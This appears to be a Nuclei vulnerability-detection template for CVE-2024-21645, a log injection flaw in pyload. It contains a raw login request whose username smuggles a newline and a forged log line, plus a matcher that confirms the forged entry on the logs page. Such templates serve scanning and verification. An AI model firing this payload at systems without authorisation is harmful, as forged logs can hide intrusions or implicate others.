id: CVE-2024-21645

info:
  name: pyload - Log Injection
  author: isacaya
  severity: medium
  description: |
    A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.
  impact: |
    Forged or otherwise, corrupted log files can be used to cover an attacker's tracks or even to implicate another party in the commission of a malicious act.
  reference:
    - https://github.com/advisories/GHSA-ghmw-rwh8-6qmr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21645
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-21645
    cwe-id: CWE-74
    epss-score: 0.00046
    epss-percentile: 0.13723
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pyload
    product: pyload
    shodan-query: "title:\"pyload\""
  tags: cve,cve2024,pyload,authenticated,injection
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /login?next={{RootURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        do=login&username={{randstr}}\'%0a[1970-01-01 00:00:00]  INJECTED               {{str}}  THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login

      - |
        POST /login?next={{RootURL}}/logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        do=login&username={{username}}&password={{password}}&submit=Login

    redirects: true
    max-redirects: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<td>1970-01-01 00:00:00</td><td class="loglevel">INJECTED</td><td class="logsource">{{str}}</td><td>THIS&nbsp;ENTRY&nbsp;HAS&nbsp;BEEN&nbsp;INJECTED&#39;</td>'

      - type: status
        status:
          - 200
# digest: 490a00463044022021729634e85ce3cca856b22c561467945ed9ed3bf435485b3256804092dc4ae90220233d82fed78afeb8e07ab2442277d3b206acbd3f928ca900fed17ce0ba29b641:922c64590222798bb761d5b6d8e72950